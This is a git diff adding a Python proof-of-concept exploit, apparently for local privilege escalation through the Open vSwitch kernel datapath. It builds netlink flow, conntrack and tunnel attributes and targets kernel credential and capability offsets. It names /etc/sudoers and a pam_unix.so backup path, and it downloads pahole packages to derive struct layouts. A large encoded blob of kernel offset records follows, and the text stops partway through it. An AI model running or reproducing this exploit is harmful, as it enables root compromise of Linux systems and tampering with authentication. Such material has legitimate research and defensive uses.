diff --git a/ovswrap-poc7.py b/ovswrap-poc7.py
new file mode 100644
index 0000000..4760035
--- /dev/null
+++ b/ovswrap-poc7.py
@@ -0,0 +1,3198 @@
+#!/usr/bin/env python3
+from __future__ import annotations
+
+import base64
+import errno
+import glob
+import json
+import os
+import pwd
+import re
+import shlex
+import shutil
+import socket
+import struct
+import subprocess
+import sys
+import time
+import urllib.error
+import urllib.request
+import zlib
+from dataclasses import dataclass, fields
+from typing import Any
+
+
+NLMSG_HDR = "IHHII"
+GENL_HDR = "BBH"
+NLA_HDR = "HH"
+
+NLM_F_REQUEST = 1
+NLM_F_ACK = 4
+NLM_F_CREATE = 0x400
+NETLINK_GENERIC = 16
+GENL_ID_CTRL = 0x10
+NLMSG_ERROR = 2
+CTRL_CMD_GETFAMILY = 3
+CTRL_ATTR_FAMILY_ID = 1
+CTRL_ATTR_FAMILY_NAME = 2
+
+OVS_DATAPATH_VERSION = 2
+OVS_FLOW_VERSION = 1
+
+OVS_DP_CMD_NEW = 1
+OVS_DP_ATTR_NAME = 1
+OVS_DP_ATTR_UPCALL_PID = 2
+OVS_DP_ATTR_USER_FEATURES = 5
+
+OVS_FLOW_CMD_NEW = 1
+OVS_FLOW_CMD_DEL = 2
+OVS_FLOW_CMD_GET = 3
+OVS_FLOW_ATTR_KEY = 1
+OVS_FLOW_ATTR_ACTIONS = 2
+
+OVS_KEY_ATTR_IN_PORT = 3
+OVS_KEY_ATTR_ETHERNET = 4
+OVS_KEY_ATTR_ETHERTYPE = 6
+OVS_KEY_ATTR_IPV4 = 7
+OVS_KEY_ATTR_TCP = 9
+OVS_KEY_ATTR_TUNNEL = 16
+OVS_KEY_ATTR_TCP_FLAGS = 18
+OVS_KEY_ATTR_TUNNEL_INFO = 31
+
+OVS_ACTION_ATTR_CT = 12
+OVS_ACTION_ATTR_CLONE = 20
+OVS_ACTION_ATTR_OUTPUT = 1
+OVS_ACTION_ATTR_SET = 3
+OVS_ACTION_ATTR_POP_VLAN = 5
+
+OVS_CT_ATTR_COMMIT = 1
+OVS_CT_ATTR_LABELS = 4
+OVS_CT_ATTR_HELPER = 5
+OVS_CT_ATTR_TIMEOUT = 9
+
+OVS_TUNNEL_KEY_ATTR_IPV4_SRC = 1
+OVS_TUNNEL_KEY_ATTR_IPV4_DST = 2
+OVS_TUNNEL_KEY_ATTR_TOS = 3
+OVS_TUNNEL_KEY_ATTR_TTL = 4
+OVS_TUNNEL_KEY_ATTR_TP_SRC = 9
+OVS_TUNNEL_KEY_ATTR_TP_DST = 10
+OVS_TUNNEL_KEY_ATTR_IPV4_INFO_BRIDGE = 16
+
+ETH_P_IP = 0x0800
+IPPROTO_TCP = 6
+
+BTF_DIR = "/sys/kernel/btf"
+NLA_HEADER_SIZE = 4
+KERNEL_BASE_SYMBOL = "_text"
+REQUIRED_SYMBOLS = (
+    KERNEL_BASE_SYMBOL,
+    "module_ktype",
+    "init_pid_ns",
+)
+HOST_USER_ENV = "OVS_C004_HOST_USER"
+HOST_WRITER_PID_ENV = "OVS_C004_HOST_WRITER_PID"
+HOST_WRITER_TRIGGER_FD_ENV = "OVS_C004_HOST_WRITER_TRIGGER_FD"
+HOST_WRITER_ACK_FD_ENV = "OVS_C004_HOST_WRITER_ACK_FD"
+SUDOERS_FILE = "/etc/sudoers"
+SUDOERS_DROPIN_DIR = "/etc/sudoers.d"
+PAM_UNIX_SO = "/lib/x86_64-linux-gnu/security/pam_unix.so"
+PAM_UNIX_BAK = "/lib/x86_64-linux-gnu/security/pam_unix.so.bak"
+CARRIER_TIMEOUT = "timeout"
+CARRIER_LABELS_ONLY = "labels-only"
+CARRIER_AUTO = "auto"
+CARRIER_ORDER = (CARRIER_TIMEOUT, CARRIER_LABELS_ONLY)
+CT_ACTION_COUNT = 400
+
+DWARVES_PKG_DIRNAME = "dwarves_pkg"
+DWARVES_ROOT_DIRNAME = "dwarves_root"
+
+
+def _dwarves_lib_dirs(root: str) -> list[str]:
+    lib_dirs: list[str] = []
+    for rel in (
+        "usr/lib64",
+        "usr/lib/x86_64-linux-gnu",
+        "usr/lib/aarch64-linux-gnu",
+        "usr/lib",
+    ):
+        path = os.path.join(root, rel)
+        if os.path.isdir(path):
+            lib_dirs.append(path)
+    return lib_dirs
+
+
+def _apply_dwarves_env(root: str) -> None:
+    bin_dir = os.path.join(root, "usr/bin")
+    lib_dirs = _dwarves_lib_dirs(root)
+    os.environ["PATH"] = (
+        bin_dir + ":/usr/bin:/bin:" + os.environ.get("PATH", "")
+    )
+    if lib_dirs:
+        os.environ["LD_LIBRARY_PATH"] = ":".join(lib_dirs) + ":" + os.environ.get(
+            "LD_LIBRARY_PATH", ""
+        )
+
+
+def _pahole_runnable() -> bool:
+    if shutil.which("pahole") is None:
+        return False
+    try:
+        subprocess.run(
+            ["pahole", "--version"],
+            capture_output=True,
+            check=True,
+            env=os.environ,
+        )
+        return True
+    except (subprocess.CalledProcessError, OSError):
+        return False
+
+
+def _directory_allows_exec(base: str) -> bool:
+    try:
+        os.makedirs(base, exist_ok=True)
+        probe = os.path.join(base, ".ovs_c004_exec_probe")
+        with open(probe, "w", encoding="ascii") as handle:
+            handle.write("#!/bin/sh\n")
+        os.chmod(probe, 0o755)
+        subprocess.run([probe], check=True, capture_output=True)
+        os.remove(probe)
+        return True
+    except OSError:
+        return False
+
+
+def _pick_dwarves_base() -> str:
+    env_base = os.environ.get("OVS_C004_DWARES_BASE")
+    candidates: list[str] = []
+    if env_base:
+        candidates.append(env_base)
+    home = os.path.expanduser("~")
+    if home and home != "~":
+        candidates.append(os.path.join(home, ".cache", "ovs_c004"))
+    candidates.extend(("/var/tmp/ovs_c004", "/tmp"))
+    for base in candidates:
+        if _directory_allows_exec(base):
+            return base
+    raise RuntimeError(
+        "kernel needs dynamic derivation via pahole, but no writable directory "
+        "allows executing binaries (/tmp may be mounted noexec; set "
+        "OVS_C004_DWARES_BASE to a path under $HOME)"
+    )
+
+
+def _dwarves_paths(base: str) -> tuple[str, str]:
+    return (
+        os.path.join(base, DWARVES_PKG_DIRNAME),
+        os.path.join(base, DWARVES_ROOT_DIRNAME),
+    )
+
+
+def _try_existing_dwarves_root(root: str) -> bool:
+    pahole_bin = os.path.join(root, "usr/bin/pahole")
+    if not os.path.isfile(pahole_bin):
+        return False
+    try:
+        os.chmod(pahole_bin, 0o755)
+    except OSError:
+        return False
+    _apply_dwarves_env(root)
+    return _pahole_runnable()
+
+
+def _detect_pkg_family() -> str:
+    if shutil.which("apt-get") or shutil.which("apt"):
+        return "debian"
+    if shutil.which("dnf") or shutil.which("yum"):
+        return "rhel"
+    raise RuntimeError(
+        "kernel needs dynamic derivation via pahole, but no supported package "
+        "manager was found (need apt/apt-get or dnf/yum) and pahole is not installed"
+    )
+
+
+def _host_rpm_arch() -> str:
+    machine = os.uname().machine
+    if machine in ("x86_64", "amd64"):
+        return "x86_64"
+    if machine in ("aarch64", "arm64"):
+        return "aarch64"
+    return machine
+
+
+def _filter_rpms_for_host(rpm_paths: list[str]) -> list[str]:
+    arch = _host_rpm_arch()
+    matched = [
+        path
+        for path in rpm_paths
+        if path.endswith(f".{arch}.rpm") or f".{arch}." in os.path.basename(path)
+    ]
+    return sorted(matched or rpm_paths)
+
+
+def _extract_rpm_tree(rpm_path: str, root: str) -> None:
+    log(f"bootstrap: extracting {rpm_path}")
+    proc = subprocess.run(
+        f"rpm2cpio {shlex.quote(rpm_path)} | cpio -idmv",
+        shell=True,
+        cwd=root,
+        capture_output=True,
+        text=True,
+    )
+    if proc.returncode != 0:
+        raise RuntimeError(
+            f"failed to extract {rpm_path}: {proc.stderr or proc.stdout}"
+        )
+
+
+def _pahole_failure_detail(root: str) -> str:
+    pahole_bin = os.path.join(root, "usr/bin/pahole")
+    lines = [f"pahole_bin={pahole_bin} exists={os.path.isfile(pahole_bin)}"]
+    if not os.path.isfile(pahole_bin):
+        return "\n".join(lines)
+    try:
+        os.chmod(pahole_bin, 0o755)
+    except OSError as exc:
+        lines.append(f"chmod failed: {exc}")
+    _apply_dwarves_env(root)
+    proc = subprocess.run(
+        [pahole_bin, "--version"],
+        capture_output=True,
+        text=True,
+        env=os.environ,
+        check=False,
+    )
+    lines.append(f"pahole --version rc={proc.returncode}")
+    if proc.stdout.strip():
+        lines.append(f"stdout: {proc.stdout.strip()}")
+    if proc.stderr.strip():
+        lines.append(f"stderr: {proc.stderr.strip()}")
+    if shutil.which("ldd"):
+        ldd = subprocess.run(
+            ["ldd", pahole_bin],
+            capture_output=True,
+            text=True,
+            check=False,
+        )
+        ldd_out = (ldd.stdout or ldd.stderr).strip()
+        if ldd_out:
+            lines.append(f"ldd:\n{ldd_out}")
+    return "\n".join(lines)
+
+
+def _bootstrap_pahole_rhel(pkg_dir: str, root: str) -> None:
+    pkg_mgr = "dnf" if shutil.which("dnf") else "yum"
+    for tool in (pkg_mgr, "rpm2cpio", "cpio"):
+        if shutil.which(tool) is None:
+            raise RuntimeError(
+                f"kernel needs dynamic derivation via pahole, but {tool!r} is "
+                "missing and pahole is not installed"
+            )
+
+    if os.path.isdir(root):
+        shutil.rmtree(root)
+    os.makedirs(pkg_dir, exist_ok=True)
+    os.makedirs(root, exist_ok=True)
+
+    log(f"bootstrap: fetching dwarves RPMs (+ deps) via {pkg_mgr}")
+    resolved = subprocess.run(
+        [pkg_mgr, "download", f"--destdir={pkg_dir}", "--resolve", "dwarves"],
+        capture_output=True,
+        text=True,
+        check=False,
+    )
+    if resolved.returncode != 0:
+        log(
+            "bootstrap: --resolve dwarves failed, trying explicit package list "
+            f"({resolved.stderr or resolved.stdout or resolved.returncode})"
+        )
+        subprocess.run(
+            [
+                pkg_mgr,
+                "download",
+                f"--destdir={pkg_dir}",
+                "dwarves",
+                "libdwarves1",
+                "libdwarves",
+                "elfutils-libelf",
+                "elfutils-libdw",
+            ],
+            check=True,
+        )
+
+    rpm_paths = _filter_rpms_for_host(sorted(glob.glob(os.path.join(pkg_dir, "*.rpm"))))
+    if not rpm_paths:
+        raise RuntimeError(f"RPM download failed under {pkg_dir}")
+
+    # libs/elf 先解，dwarves(pahole) 最后
+    def _rpm_sort_key(path: str) -> tuple[int, str]:
+        base = os.path.basename(path)
+        if base.startswith("dwarves-"):
+            return (2, base)
+        return (1, base)
+
+    for rpm_path in sorted(rpm_paths, key=_rpm_sort_key):
+        _extract_rpm_tree(rpm_path, root)
+
+    pahole_bin = os.path.join(root, "usr/bin/pahole")
+    if not os.path.isfile(pahole_bin):
+        raise RuntimeError(
+            f"pahole binary not found after RPM extract: {pahole_bin}"
+        )
+    os.chmod(pahole_bin, 0o755)
+
+
+def _bootstrap_pahole_debian(pkg_dir: str, root: str) -> None:
+    apt = shutil.which("apt-get") or shutil.which("apt")
+    dpkg_deb = shutil.which("dpkg-deb")
+    if apt is None or dpkg_deb is None:
+        raise RuntimeError(
+            "kernel needs dynamic derivation via pahole, but apt/apt-get or "
+            "dpkg-deb is missing and pahole is not installed"
+        )
+
+    os.makedirs(pkg_dir, exist_ok=True)
+    os.makedirs(root, exist_ok=True)
+    log(f"bootstrap: fetching pahole DEBs via {apt}")
+
+    primary = subprocess.run(
+        [apt, "download", "pahole"],
+        cwd=pkg_dir,
+        capture_output=True,
+        text=True,
+        check=False,
+    )
+    if primary.returncode != 0:
+        raise RuntimeError(
+            "DEB download failed for pahole: "
+            f"{primary.stderr or primary.stdout or primary.returncode}"
+        )
+
+    for pkg in ("libdwarves1", "libdw1t64", "libdw1", "libelf1t64", "libelf1"):
+        subprocess.run(
+            [apt, "download", pkg],
+            cwd=pkg_dir,
+            capture_output=True,
+            text=True,
+            check=False,
+        )
+
+    deb_paths = sorted(glob.glob(os.path.join(pkg_dir, "*.deb")))
+    if not deb_paths:
+        raise RuntimeError(f"DEB download produced no .deb files under {pkg_dir}")
+
+    for deb_path in deb_paths:
+        log(f"bootstrap: extracting {deb_path}")
+        proc = subprocess.run(
+            [dpkg_deb, "-x", deb_path, root],
+            capture_output=True,
+            text=True,
+            check=False,
+        )
+        if proc.returncode != 0:
+            raise RuntimeError(
+                f"failed to extract {deb_path}: {proc.stderr or proc.stdout}"
+            )
+
+    pahole_bin = os.path.join(root, "usr/bin/pahole")
+    if not os.path.isfile(pahole_bin):
+        raise RuntimeError(
+            f"pahole binary not found after DEB extract: {pahole_bin}"
+        )
+    os.chmod(pahole_bin, 0o755)
+
+
+def ensure_pahole_available() -> None:
+    """Download/extract pahole when absent (Debian/apt or RHEL/dnf/yum)."""
+    if _pahole_runnable():
+        return
+
+    base = _pick_dwarves_base()
+    pkg_dir, root = _dwarves_paths(base)
+    if _try_existing_dwarves_root(root):
+        log(f"bootstrap: using existing pahole tree at {root}")
+        return
+
+    family = _detect_pkg_family()
+    if family == "debian":
+        _bootstrap_pahole_debian(pkg_dir, root)
+    else:
+        _bootstrap_pahole_rhel(pkg_dir, root)
+
+    _apply_dwarves_env(root)
+    if not _pahole_runnable():
+        detail = _pahole_failure_detail(root)
+        raise RuntimeError(
+            "pahole bootstrap completed but pahole is still unavailable in PATH "
+            f"(install root={root})\n{detail}"
+        )
+    log(f"bootstrap: pahole ready at {shutil.which('pahole')} (base={base})")
+
+
+
+def align4(value: int) -> int:
+    return (value + 3) & ~3
+
+
+def nla(attr_type: int, payload: bytes) -> bytes:
+    length = 4 + len(payload)
+    if length > 0xFFFF:
+        raise ValueError(f"netlink attribute too long: {length}")
+    return (
+        struct.pack(NLA_HDR, length, attr_type)
+        + payload
+        + (b"\x00" * (align4(length) - length))
+    )
+
+
+def cstr(value: str) -> bytes:
+    return value.encode("ascii") + b"\x00"
+
+
+@dataclass(frozen=True)
+class Attr:
+    attr_type: int
+    payload: bytes
+    raw_len: int
+
+
+@dataclass(frozen=True)
+class SymbolOffsets:
+    module_ktype: int
+    init_pid_ns: int
+
+
+@dataclass(frozen=True)
+class KernelOffsets:
+    nf_conntrack_helper_me: int
+    module_kobj_ktype: int
+    vmlinux_module_ktype: int
+    vmlinux_init_pid_ns: int
+    task_pid: int
+    task_cred: int
+    task_pid_links: int
+    cred_fsuid: int
+    cred_fsgid: int
+    cred_cap_permitted: int
+    cred_cap_effective: int
+    pid_namespace_idr: int
+    idr_idr_rt: int
+    idr_base: int
+    xarray_xa_head: int
+    xa_node_shift: int
+    xa_node_slots: int
+    pid_tasks: int
+    hlist_head_first: int
+    dst_entry_ref: int
+    dst_entry_ref_kind: str
+    metadata_dst_tun_info: int
+    ip_tunnel_key_ipv4_src: int
+    ip_tunnel_key_ipv4_dst: int
+    ip_tunnel_key_tos: int
+    ip_tunnel_key_ttl: int
+    ip_tunnel_key_tp_src: int
+    ip_tunnel_key_tp_dst: int
+    ovs_ct_labels: int
+    ovs_ct_action_len: int
+
+
+@dataclass(frozen=True)
+class TunnelReadLane:
+    name: str
+    field_offset: int
+    attr_type: int
+    payload_index: int
+    optional_zero: bool
+
+
+@dataclass(frozen=True)
+class KernelBuildRecord:
+    release: str
+    version: str
+    machine: str
+    offsets: KernelOffsets
+    read_carrier: str
+    write_carrier: str
+    read_lanes: tuple[str, ...]
+    ovs_key_attr_tunnel_info: int
+
+
+@dataclass(frozen=True)
+class KernelParameterPlan:
+    name: str
+    offsets: KernelOffsets
+    record: KernelBuildRecord | None
+
+
+KERNEL_RECORDS_DESCRIPTION = "the embedded pre-derived kernel record table"
+
+# BEGIN EMBEDDED KERNEL RECORDS
+_KERNEL_RECORDS_B85 = (b"c-rmVU2h%7+2;H6=TkJYPZBtbsJiQ=tLw~&Y~ay`Y~zuGAbT(n7RhCqTQn(9q!VSZ{n>X{FH&lf-Mw0?Sxu_>&u}mqiIEeE`uX-%_sjqKucG)r_5Ur3KmE2o`t{^&^QTz+>EFS>@%B%D-TuV+FTZ@)Tz;s3V*8o(4;@`>j^7-u-@n=X^2_Gv^5pmQA9Mb%_kRBU=Hj=L%gfDi{qr{5{`p@%ygf-jZshKdUo}52pFjWj!{wXJ+2zH@Hy4{<>Ywtq`={Q#J2^}L(LcR;b8&Q)KKIk-{d#&*f99{7b^RAOx%hBdf0p|6lPAX)Zw}WV(*FwWZ~bWczZZ8t`Td*AtFyDs>6>?(k8e)i|8CzLH@}{iq0jknaa4a!==qe(^AESbgm-@W{q<kNtNzc}{uNyBU*hsK{dD>1r+?dAu8-H3>-0;fPkeK7_RD$t!pr9`?{DYFSErjd@6HeZ-#70rKfZ6iMDqE+#Mv)zj?T~OumAe!UH#QPt$)Mc{FXk+e*T>E-#@%Lx_q;)zfsQ5-kfgEnlH1x`}3#k!_Dc3+yBw`C&zEj*1v5&yk8$}(r?DC---0Im+KGjKHUC&OF#4`eJeHJT<*?Kyx)FvmDb+-@i(U@XU#7rq4l5o{kQsuul`+sbxtmu&pJz=VssE~TmMyWKJDf!cJsw5mAAI_-|pY*H)rR^n>QbRJ^AJKH`b@0IX%C;^L6<5`r=~!@lE|1={q=mA2mPo|K0o%t-pflw|ISdd2#bwe)F4IU4PC+`qn?Hf1Q&}`YQhE^5nP8`PJp0+CP1|KHH?f^8fnum8riiKYy9(Z=lcrpXU4Rjk@<E`qq!6Z!Ptw<_G@wr@zwaX8ULDPwqh51GVy6A2@s94>qUOoATf`KfiA-KGfeg>C^u&UA%tvQ}NUPeD~d}pMHMx;-5c!`|7{{R(yYPQoLG!EVL_>jbfq>#dj}$E<}mH`BnaPadNro`k((_*Iz{xL_rip!ADlG{`Y$-`193ft6)__7<Cn;LO~RKjtaU*P|(<pPwP<7NQHt!3WoAPt7`?rLHc)JD&gy^vqnO(^|xnKy2h~h`_F$vLL@}OCnTZv;aN*~_eWZvbMt4T{aK%Wtn2fn<HyXMAG`Bc{q$qH<Hw}q$IKVn{l#vtFN>G8-M+42qfyam3Ru{NZ3<Y}&d#>%&Gt?FDpjF%bhX=*+qjL}l-s!dl-*7-Nh-I?LfdGnC?(}KY{NEe!*+JI&E9PPV{_cFtyL3~glG+J<2G*NHg0Ek+wJZ4&%a)6-PVN)(dlR%ZsRs?6K{WY{TUCUp!U(2D2}ig1yPXdmFhKn^;+)j_N()4SS(VgGK!Aksa|m#x2axn`w6>!lNP65XcMi8rlj7+ZQQ2b#_jBGSJUh5Dy7BBMN7Sn+qjL}xSic?*?)#5O<^aujVhFnBGEF1joY|QPJ-L{-Ij^(lBY#oZmZ}dIz>zZ+ptZ!4ckwd?WWv5O*1Sy8i`7%wqYB#VH>uyvpsc&<+KRtQBs#tv*`o2VVjTyw)3-XA0Q-2z1tF<CnSMw*rwWs?XQFF5VehpRub5TZP<qG{A|04Er6$mHYwb;DjF7j;5KfPlHm5&;<k-0b#D`s;5KekZ{v1$xBcW^5^b;JZJJ4N8@H*qar<j=TTIGHYPYGkaT~X(w{bhS+tuV}NinJ3)*)KXcH=f~Q*Yz;Q+E5Nd0V8(Ny^kuLcNXKxQ*Mmo!M=pCcjHcnWk=36-DDVZsRsN32x_h+f6FBzkPpEXqPrh*(zO3ASQur*oJM`&d#=(@G6<EqU);Z0yI(RCV_3(hHcoMfo(hCQ8KYDp-2gd;?50h!}b$o+i<0E5Wy+|xM$URQU6|~UOH7*t(J@!{@`yW{(S3udWb($303Qos@78Jy}(Y7dZ}Kusa(}6I?j9HHD2R2UT5~&PAITH)_;T=uyr&vVE{H@12$l12HWoi_V*VjTd-aIrz~n86<`B4U;{Q_X9hd$1$OF}YhLiwb%pI%zXaHT4cK2J*t?L_Y8sMdLQ+{)`GX`#&W5D7t^XB6NR}ETmsQp3YVUWxbXQ!e2J9-D0N8*H*nkb#S;3b58Z$m^H)>J{mzMYAHD2R2UgLFEuVq4keOmaYzAmHVnGdh=8n5v>v)69#1iRV#?3$~FKH5i|RB2h#3AU3Suzfe!Ey(u)d-KcD+2vOTwv}CAyPaU$VX&>)33eOguLf-04YpLlc7kmyKLEB@VHeo-pE2uNzvVq(r_XaLFkihGuw4zdR>7>^zT0$B9jeve53kNHuNty%TIY<aRgSLysBVaM5Dn1~ot0=OyE`$O&kL=8N`dI55Pe>M)1Q8s(%0v~1*K6Mr75IQI<wNYuaK@(o9J!UaaQ}BcFCy_#XvMfLo|gnL}w?uzmOhMT6C*L52aBWr86pRwHVj>O7tmRf1Xv`MOmEEZuR!)eJ9bjE9<E1XQiTZ(UcGk(GWdPA+4PsRY;4r6w(VMx+m+<ZKAh*(`WU!RH3VAOsjDkq9Gch^Aasa*-=D?pdfm2L=R*geM*apN}^FHjnXJRQzC6fJ{krd4Hu`hU#<W3p_6EHH;%r(WTHc~J}L{*5Dn49(GZ=T=)O4G-KwImHrp4&GF8#KB<p}^h$fDP=vj#FiKFE{(ao5l=qNU7f)0p=XyRyy&QJ6}96g}4HBoDnMro8Ljz;OsN|(KH^u5-*=EYDIx=b@HieYewhUl5%Xyr;jCXUwHv0!O=MEAwfzD@L}9n&Te?Lu8hLo`G~G;uUU=O?-+jyCsa3{RV79X=Wz9dR^7L-cHM^hlyBh+Z7gp*QGoT~%}<It>^`<sllPA)25AqO%j-7j%?8&xLgr?Ic<@bwD&k6LdiI3`F+?9rkV&{q5D;v`k4%v?YCa5Dn4v-9hvmL=W`c*}gd1MJc0UcQi_)G;uUa=T^GvjiY^E)?uQqq9%@pXo#LG>+qEyMYNQ}(aR&cFYCDXV)%OVz6ecEhmD5e6@*4;q7H=4FZ4jv;rat<#~?ULqcl+mO6OO)QoT_}dB5}S^m^l+siIIwLo`Iwc?Z$?iSFyXtM2cOu8Fp3yT8^Pn}ukICXI&ZS%~gQqy62Uj+90xqRXg#v;-Xx4bgK29oCH6rDT+1m(ucx9*Cp;-E~SSjuxpuqOzO>M`@HMjz;PHO6%S@I^4}VnioTx;%G&4G(<!6EuxKT{b~<Pv>J7QrT#n)uq>14|6E;k*3nw2yZzD4nXIx|9j#f{fzl|=qajMqp>)rq;T@w}y?5y*xQmukh8T^}yc%Nk3`Y078s6)@`|;?q@XdCA8?8fVghpr{4G}uK&;yT#Wq)gj`1%8-Q5vP^QhHn+Z4`C%;*^%&N5iTs>JXPUDp?a1Gb|7d(L5SL^bADzKN{-JV}@lK23MXj7L-Qm`5q0+5i2{=qoJ^}V}VNdJ{sz~VMkL*t7e0=j)plFjK=7>9u0$xTdQOhMlaClo=3xb9n$I1P)wmz)b$5<SRfjrc{POS{6r7D8iwB1j&#zH<~xuEX&wzhIycg$@6qs1gLKNHQ)7p&(h!R>QDHPjV>Ed*M&~!WH;<OCE&pj_M-8+v#DdWnJ(tlsRHFtBb>$c|T%yrEd34p4N2ha!K1$%p5TYS^zNo`_H7e@RhUUBF5j~JcS6z9u)JogvB)Sr%Q5vP^X^|eav7`PxHg+sfX*<*+ZSJ>7pQb?;(Mf4)X_Q83;trIaLFt~jqht5oi_K9XsgO2h6o`gsh$ilU==?<Y#~pW-{@f*<M#6Q}jD*89Ow)h|)47>;{SA21X>@aq1)?DuqKTv-dLE+tBWc@pGfTTd*)(oQmo!SFG+ojtJ%iG{UDCF@kk&pr6QzP^h=yoh4Iw%|(eK7Aze}%%FV|;H|DB6sqWNUB$7qbkXr2u*I+xKy&xZH*-~Dj@d;M)yC>_&&C3cj;G)&LMv=5^$gd6c(2wxi0zW>?Kbd9oTlMWkNAC<vqjK=7h-VMhj(&^ohM0$}%_rDvuu6IMJng%=@EtND%qx4+whGE2-()4a<SyQ?|rF-8E-Q7^SsibYHq+P{nLyX4g*&Yrn?Zc>t!_ty=EYRq_hr@dt@S2B1U+9n$Y2$e~#AuA>;Si&<8$I-J*vGU;Z8ZHIFb&f@9Kv*drpx|^L)#U1NJy(Y(s4ru4lx>|c{s%A8I10KIP^U$|F_dDoX$dNl;+_OrDssO_u<fY4IFBpZqQ1Iiibmt#%LZ6F?t50-;LQNos9l|b6EeWY1*W9tBxj-#%PSroJf~$+?{YE)X~c`dg$Ts-ZV>Mx=A~Xiq@bsN~1LIhA5p`>Cpdf=<X8T429c5m#Ix!JJJq}#%SIRF*?7|{qKfl?>1?xxyu65AkDKONY8<E@3Y}OqMJfmrDsEJqT&cGMq@OQG)Ct)dMJ{%cbDKbFNdL7-4R*~mdK=G8m7slVLB7jRevV!?_COCpQR2wZKIOt=<dL1jGil#4%N8hS(f{TOEkJalMX$7(sd=ROjLou1Eo=#P#UGPE8QDPhn`A0Jsegoqp74Z8l#zI!RUNOzZ<(u`qlcPXoyY|hlCvv4bgK2(n0%i?}im&$FhjlO7#cQ_j)^;1$a{Ebls3gLyX4g*`f}uWZa!_uV|89p3%KgN7Z+Pwu)LsCm4;<7){iH(fN&jH)j1^YQ9TRhYrmmX&W7NG)7}IJ<=GR-{_$pY2TYjTOTd!{!tpGNu*Iax6-;lkq$iz@U|yebcxXzjnTA7V|0F_dt0Qnx|?^TnQ&bdN@Ci9$8sf<Mrqy+Q98fUeeZ_%jczJwos3TXccdK{jnTXtV)P6~zZ<pw?rPHn(rHO)NJ~3D*U=b_(HPCUAx392dg$G-yt_-fVcI07U1+T-g=v_EX+mk3&cw6~h0^+NcSp0RRHvuI`a^Rm9Hmj3zyqc8E8QD-gu9{ix9=|s?b5)Zt&OHp8ly3qzyqW68$A?wguA(PV!BKthsLv~6s1v`MroAJue9lHl)l~G@p+ad9SV0*X^4hsh^7M%qO%j-+kq!N<AypqRVxkA5Dn2}9T1(J=%K8m>WZY(4m=la84VMMFb&g$9Wb4nY1<!m=&njyR8vY@cHm(&Mw516^c+U_rX8khmPMDzXsM#3NgAUun)W-4p26sMWA=8W?MkoKA5&jPI%^meL_;)06LmmzZlYa()FEB7hDN10+9-POFdCzYIxu<;qkE$c+qbr(imHm1<~xkWXrc~`p26sMW2V8kb@azVT#BQ088zK^7>&_%-(hrqqX)Y0ZZq9Vq@^Z03QD6iN|Q*VbZ(`6e<E$}65Z_V@YiXFVUaXOV>F30M&~!WH<5N-3p;ePNLrWCc#Otqj3({C=<G%hr5$qr;qYVqZB?i;)*k}XFb&f@9Kv*Nrpx|^Lvwf5@a5H6x^1Y_5DSqsMq@OQG)Ct)I`l`<?(WWxR7W?Pl~jm^ad3!+XcB3N&QEl2B3<@0cGN`cXc#qwXo#LG=@28Ml8&GVq!&nZU(#XkR?#Wx5SuQ98y6jEG)7}IkA@hX-{_%7L)#Nbi;CJu$AVIrhG_z6n9j{~)gMUvo@v7rcX*}^F&d+1yAVDqkxrjSBE3kX`!9rt`_G0KjnZ`)?W3@_1Eo=#cSDrUuXOLbVd$@<o#Gq|Mq@N-2S(3f^iU}6?lS%I>a@_NS+68f!!%68G=T?9XJ%Tfp}?c+T2yLubKB5Fp-~#8QJP{JrE@E-`=1U&-@IXn;-VOg#%PSDlE&!#M)y|IqPnhxYnLi%RYk>F7L-P5o(@quztVkAhobv8cW4`Jz-Wxd=$X=v%GyzBhZBrmn$gmqc2s>chudKm8l^EBqi3t5Ll{>_dp6)L&*<JdTJG1;r-eyGONc_$0nrdmAPv#EiMB(5wCPzTt!*?C6%BYOjnXKM(z%uPLrS~;NLrct1Eo<KrDsxFk6N*$bjgaP#VK75Dedpp(oHCB(p-3gnq{RZjnXqc96GUK%)_AzLMXi~rLC;qZq7CrCr6!3JLwt?PsOx~&PMZTeTRc-n1*SXhUqL!n_;HA4``XD4NpbuU>c@jdZso!qeiviNeCp<3uD?2GhN=_;88Q(+@dw6mKvsE8m3_yrn55b^dQq--_NE`3z5|4Aud{&hH03FX_(H;^l&!q<^EjDX?j9bRkR^mfoYhAX_$uTyi5;g)85>@O8f2A+jN!IM^i=}P#UFCdM2f<8F%qeag}yyO8a4@Z}sE7USBp!S7`uINwglNQ5vOD8m03pT@EW<-i<t7Z{8QWOeX-+`EUc%Fb&f%4bxef_G*yn^4{jsACE2zotmaqI(vxHD2>uHDeYR{^FvDO*7rC{FGA_zHjh%@jXWBqb)iDkWmL?zz%)$5G)!k^diedYytj3!VcHh8(N4D}#bFwzVH&1kIuFysvn{2)JA(Mb`R|EoQK@NK6MDcjOv5xxXJ$GKGkyQ`;rguDF2{2$$3tn9o=@r0je9^eEXP}z(&g|2Vo*Iw`?SvE^VTJlMro8rX_U^R^zZ{>xOe>U`^{nD3z2ATbgVE%X_Q83l+LX5@cUu7w;S)(`l41^n<!N@oYq2VltyWk&aCwC^I@=EN~aB`AzDo_4bw0U(=eT#>ESW);QN@?QR&vsC76b3n1*SX&cpQZoOmejZS#14kw#lYnzJpmdB8MG!!%51X1W??y6QS8?o#F<sx>E$(kPA6D2>utln%pf9+keId3<cn0aQ`dA7mad4bw0U)0vre!%Vx*8;Dh!6W6>T!Zb|J$aHA^RR@`_1g4k8^zaK}b#KvhVp>$1ZBdWgkLUa_(=9)4GcDarw<-{ro|9=&OJdsgFx~pLyU(<<b{ErD=`w`f7scz(3-UZyn6|jx!Cw70vx6F~gK*#uHmBig^X}j_LTv=)UXq|w;A>Rz(~F<65BsnW`zTR!m8eFfw%Qz+13T90?XB+9>xN|ATo-&atBDhc6P}>et#8X)R_mcS!O5;TK}v5*Yj^H5YCf;@k9J+q=pL)LU+&fU+382T{vxmafv&k$2gjR3tq*Kit$#c2R$4bo|MWlKefR38pWnRr=MUe$`tQFLFE)oK>$4*LGP;zN{-gPYu5|I|<n~IrmG*z><-7g+2H_A6;d>Kqtg-FGuYH8qpXb{D00ZHRBmC&}{OTCUfgH%G#ew{5g}j<Xxa}fbN(hH=2&Wc@@OcQIUW)@ckOMijIFLUc<W5Z@+}|g>Tq%KY2#4@FYH=Gz)#BO*2wyJY(`#`c2XY{%7T*VQ`UxKZaXpFevWssS;G6bB=!WiRUxP#UgU~&_{swRW2k^(Ky`8e7YVRNxz!wC#l__MqYPF@>t+cF+f@-LS>a0{tB_nF>^m&e2dudcpuCW0dumPLe8nEX8yPOn<sFnHL5~u=HLp4-WTSIjos;B4IfDPDyO>GU>Gk`sLmq}~%-9a@}Lp8NEROg}kL3Wk^Hedrbwe=%|y#u?+d